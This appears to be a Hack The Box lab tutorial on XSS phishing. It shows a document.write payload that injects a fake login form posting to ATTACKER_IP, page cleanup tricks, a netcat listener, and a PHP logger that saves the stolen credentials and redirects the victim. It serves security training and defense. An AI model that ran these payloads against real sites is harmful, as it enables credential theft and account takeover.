Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

XSS Phishing (Fake Login Forms)

What it is

XSS phishing uses cross-site scripting to show legitimate-looking UI (often a login form) on a site the victim already trusts. Submitted credentials go to an attacker-controlled server so the attacker can log in as the victim and access accounts and sensitive data.

In authorized work, a known XSS on an org’s app can double as a phishing simulation: employees who trust the domain may not expect a malicious prompt, which measures security awareness.

Prerequisites

You need a working XSS on the target (stored, reflected, or DOM-based). Delivery matches normal XSS (for example, a malicious URL for reflected XSS on a GET parameter).

Lab pattern: /phishing image URL viewer

The module uses a simple online image viewer: you pass an image URL and the page renders it, e.g.:

http://SERVER_IP/phishing/index.php?url=https://www.hackthebox.eu/images/logo-htb.svg

That pattern appears in forums and similar apps. A naïve test like:

...?url=<script>alert(window.origin)</script>

often does nothing useful (dead image icon, no alert): the parameter may land in a context where a raw <script> string does not execute (for example attribute or URL context for <img src="...">).

Run your XSS discovery process: after each attempt, view page source and see exactly how the server placed your input—then craft a payload that escapes that context and runs JavaScript (same discipline as any XSS lab; solve it before building the phishing chain).

Injecting the fake login form

  1. Build HTML for a login form whose action is your machine (IP from ip a, often tun0 on HTB). With default GET, credentials appear in the query string when the victim submits.
  2. Emit that HTML from the page with document.write('...'), usually one minified line inside whatever XSS vector you already proved (replace the alert(window.origin) proof-of-concept with this script).

Example markup (use type="text" / type="password" for real browsers; some course snippets use nonstandard type values that still degrade to text-like behavior):

<h3>Please login to continue</h3>
<form action="http://ATTACKER_IP">
  <input type="text" name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
  <input type="submit" name="submit" value="Login">
</form>

Injected as one string (note quoting and no line breaks inside the string):

document.write('<h3>Please login to continue</h3><form action=http://ATTACKER_IP><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');

For reflected XSS, the full attack is typically a single URL with your payload in the url (or relevant) parameter—same idea as the reflected XSS notes.

Cleaning up the page

If the real “image URL” form is still visible, the story (“please login”) is weaker.

  1. In DevTools, use the element picker (e.g. Firefox Ctrl+Shift+C) and click the URL form to read its id.
  2. In the lab, the GET form is often:
<form role="form" action="index.php" method="GET" id="urlform">
  <input type="text" placeholder="Image URL" name="url">
</form>
  1. After document.write(...), remove it:
document.getElementById('urlform').remove();

Chained with the write call:

document.write('...form html...');document.getElementById('urlform').remove();

If leftover server HTML still appears after your injected block, append an HTML comment start immediately after your payload in the vulnerable parameter (e.g. ...payload...<!--) so the rest of the template is commented out and the page looks like a normal login gate.

Credential stealing

Listener not running

If the form posts to your IP but nothing is listening, the browser shows errors such as “This site can’t be reached”—expected until you open a collector.

Quick capture with netcat

sudo nc -lvnp 80

Submitting the form yields a GET with credentials in the URL, for example:

GET /?username=test&password=test&submit=Login HTTP/1.1
Host: ATTACKER_IP

Netcat does not speak HTTP properly on the way back, so the victim may see connection / unable to connect style errors—usable for a demo, suspicious for a smooth phish.

Smoother UX: PHP logger + redirect

A tiny index.php can append credentials to creds.txt and header("Location: ...") the victim to the real image viewer (clean URL, no XSS), so they assume login worked:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

Replace SERVER_IP with the legitimate app host from the exercise. Serve from a directory that contains this file:

mkdir -p /tmp/tmpserver && cd /tmp/tmpserver
# write index.php here
sudo php -S 0.0.0.0:80

Verify creds.txt:

cat creds.txt

Then share the final malicious URL (with the full XSS payload) only in authorized tests.

Operational and defensive notes

  • Authorization: Run only where you have permission; credential capture is sensitive.
  • Defenses: fix XSS at the root (encoding, CSP, safe sinks), prefer phishing-resistant auth where possible, and train users to treat unexpected login prompts as suspicious even on familiar hostnames.